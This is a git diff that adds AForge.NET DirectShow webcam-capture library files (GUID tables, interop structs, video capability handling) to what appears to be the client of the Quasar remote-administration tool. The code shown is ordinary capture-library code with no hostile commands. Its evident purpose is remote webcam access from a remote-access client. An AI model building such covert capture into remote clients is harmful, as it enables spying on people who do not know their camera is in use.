bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100755 index 0000000..8dc1874 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false )] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + /// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100755 index 0000000..73d2e90 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100755 index 0000000..365a7c3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs new file mode 100755 index 0000000..3256fed --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100755 index 0000000..a7c8dd4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) + { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100755 index 0000000..8b76c5a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected 